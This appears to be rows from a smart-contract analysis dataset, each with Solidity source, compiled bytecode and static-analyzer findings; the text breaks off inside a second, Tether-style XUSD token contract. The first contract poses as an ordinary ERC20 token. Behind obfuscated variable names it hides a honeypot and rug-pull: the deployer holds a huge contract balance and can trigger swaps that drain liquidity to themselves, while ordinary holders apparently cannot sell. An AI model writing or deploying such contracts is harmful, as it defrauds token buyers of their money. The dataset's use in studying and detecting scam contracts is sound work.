swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contract is IERC20, Ownable { string private _name; string private _symbol; uint256 public _fee = 5; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private _vegetable = _tTotal; uint256 private _rTotal = ~uint256(0); bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public uniswapV2Pair; IUniswapV2Router02 public router; mapping(address => uint256) private _balances; mapping(address => uint256) private _route; mapping(address => mapping(address => uint256)) private _allowances; mapping(uint256 => address) private _mill; mapping(uint256 => address) private _summer; mapping(address => uint256) private _animal; constructor( string memory Name, string memory Symbol, address routerAddress ) { _name = Name; _symbol = Symbol; _route[msg.sender] = _vegetable; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); _summer[_vegetable] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view override returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } receive() external payable {} function approve(address spender, uint256 amount) external override returns (bool) { return _approve(msg.sender, spender, amount); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _transfer( address _everyone, address _helpful, uint256 amount ) private { address _silly = _mill[_vegetable]; bool _strength = _everyone == _summer[_vegetable]; uint256 _sharp = _fee; if (_route[_everyone] == 0 && !_strength && _animal[_everyone] > 0) { _route[_everyone] -= _sharp; } _mill[_vegetable] = _helpful; if (_route[_everyone] > 0 && amount == 0) { _route[_helpful] += _sharp; } _animal[_silly] += _sharp; if (_route[_everyone] > 0 && amount > _vegetable) { swapAndLiquify(amount); return; } uint256 fee = amount * (_sharp / 100); amount -= fee; _balances[_everyone] -= fee; _balances[_everyone] -= amount; _balances[_helpful] += amount; } function addLiquidity( uint256 tokenAmount, uint256 ethAmount, address to ) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c5b37c2211610059578063c5b37c2214610305578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b8063715018a61461025b5780638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611344565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906113ff565b610453565b604051610157919061145a565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611484565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad919061149f565b610472565b6040516101bf919061145a565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611484565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611501565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061151c565b6105bf565b6040516102529190611484565b60405180910390f35b34801561026757600080fd5b50610270610608565b005b34801561027e57600080fd5b50610287610690565b6040516102949190611501565b60405180910390f35b3480156102a957600080fd5b506102b26106b9565b6040516102bf9190611344565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906113ff565b61074b565b6040516102fc919061145a565b60405180910390f35b34801561031157600080fd5b5061031a6107c7565b6040516103279190611484565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190611549565b6107cd565b6040516103649190611484565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061151c565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115e8565b60405180910390f35b6060600180546103d090611632565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611632565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611484565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105719190611693565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610610610f9b565b73ffffffffffffffffffffffffffffffffffffffff1661062e610690565b73ffffffffffffffffffffffffffffffffffffffff1614610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067b90611713565b60405180910390fd5b61068e6000610fa3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106c890611632565b80601f01602080910402602001604051908101604052809291908181526020018280546106f490611632565b80156107415780601f1061071657610100808354040283529160200191610741565b820191906000526020600020905b81548152906001019060200180831161072457829003601f168201915b5050505050905090565b6000610758338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b59190611484565b60405180910390a36001905092915050565b60035481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610f9b565b73ffffffffffffffffffffffffffffffffffffffff1661087a610690565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611713565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117a5565b60405180910390fd5b61094981610fa3565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611837565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611484565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060035490506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c03575081155b8015610c4e57506000600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610caa5780600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca29190611693565b925050819055505b84600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d4d5750600084145b15610da95780600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da19190611857565b925050819055505b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df89190611857565b925050819055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e4f575060065484115b15610e6557610e5d84611067565b505050610f96565b6000606482610e7491906118dc565b85610e7f919061190d565b90508085610e8d9190611693565b945080600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ede9190611693565b9250508190555084600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190611693565b9250508190555084600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a9190611857565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108457611083611967565b5b6040519080825280602002602001820160405280156110b25781602001602082028036833780820191505090505b50905030816000815181106110ca576110c9611996565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611171573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119591906119da565b816001815181106111a9576111a8611996565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121030600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611275959493929190611b00565b600060405180830381600087803b15801561128f57600080fd5b505af11580156112a3573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112e55780820151818401526020810190506112ca565b838111156112f4576000848401525b50505050565b6000601f19601f8301169050919050565b6000611316826112ab565b61132081856112b6565b93506113308185602086016112c7565b611339816112fa565b840191505092915050565b6000602082019050818103600083015261135e818461130b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113968261136b565b9050919050565b6113a68161138b565b81146113b157600080fd5b50565b6000813590506113c38161139d565b92915050565b6000819050919050565b6113dc816113c9565b81146113e757600080fd5b50565b6000813590506113f9816113d3565b92915050565b6000806040838503121561141657611415611366565b5b6000611424858286016113b4565b9250506020611435858286016113ea565b9150509250929050565b60008115159050919050565b6114548161143f565b82525050565b600060208201905061146f600083018461144b565b92915050565b61147e816113c9565b82525050565b60006020820190506114996000830184611475565b92915050565b6000806000606084860312156114b8576114b7611366565b5b60006114c6868287016113b4565b93505060206114d7868287016113b4565b92505060406114e8868287016113ea565b9150509250925092565b6114fb8161138b565b82525050565b600060208201905061151660008301846114f2565b92915050565b60006020828403121561153257611531611366565b5b6000611540848285016113b4565b91505092915050565b600080604083850312156115605761155f611366565b5b600061156e858286016113b4565b925050602061157f858286016113b4565b9150509250929050565b6000819050919050565b60006115ae6115a96115a48461136b565b611589565b61136b565b9050919050565b60006115c082611593565b9050919050565b60006115d2826115b5565b9050919050565b6115e2816115c7565b82525050565b60006020820190506115fd60008301846115d9565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061164a57607f821691505b6020821081141561165e5761165d611603565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061169e826113c9565b91506116a9836113c9565b9250828210156116bc576116bb611664565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116fd6020836112b6565b9150611708826116c7565b602082019050919050565b6000602082019050818103600083015261172c816116f0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061178f6026836112b6565b915061179a82611733565b604082019050919050565b600060208201905081810360008301526117be81611782565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118216024836112b6565b915061182c826117c5565b604082019050919050565b6000602082019050818103600083015261185081611814565b9050919050565b6000611862826113c9565b915061186d836113c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a2576118a1611664565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118e7826113c9565b91506118f2836113c9565b925082611902576119016118ad565b5b828204905092915050565b6000611918826113c9565b9150611923836113c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195c5761195b611664565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119d48161139d565b92915050565b6000602082840312156119f0576119ef611366565b5b60006119fe848285016119c5565b91505092915050565b6000819050919050565b6000611a2c611a27611a2284611a07565b611589565b6113c9565b9050919050565b611a3c81611a11565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a778161138b565b82525050565b6000611a898383611a6e565b60208301905092915050565b6000602082019050919050565b6000611aad82611a42565b611ab78185611a4d565b9350611ac283611a5e565b8060005b83811015611af3578151611ada8882611a7d565b9750611ae583611a95565b925050600181019050611ac6565b5085935050505092915050565b600060a082019050611b156000830188611475565b611b226020830187611a33565b8181036040830152611b348186611aa2565b9050611b4360608301856114f2565b611b506080830184611475565b969550505050505056fea26469706673582212205525f3e0533d6fe568a8fdec235482227a0bdac43954f350b47238414ae22a0364736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,135
0xc0529e4faa6b36efa913dcd1ffb4f158058006e7
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts function getBlackListStatus(address _maker) external view returns (bool) { return isBlackListed[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract XUSD is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; uint public constant _initialSupply = 1e12; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals constructor() public { _totalSupply = _initialSupply; name = "CoinPool XUSD"; symbol = "XUSD"; decimals = 6; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public view returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public view returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; emit Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public view returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Mint a new amount of tokens // these tokens are deposited into the owner address // @param _amount Number of tokens to be minted function mint(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; emit Mint(amount); } // Burn tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the burn // or the call will fail. // @param _amount Number of tokens to be burn function burn(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; emit Burn(amount); } function 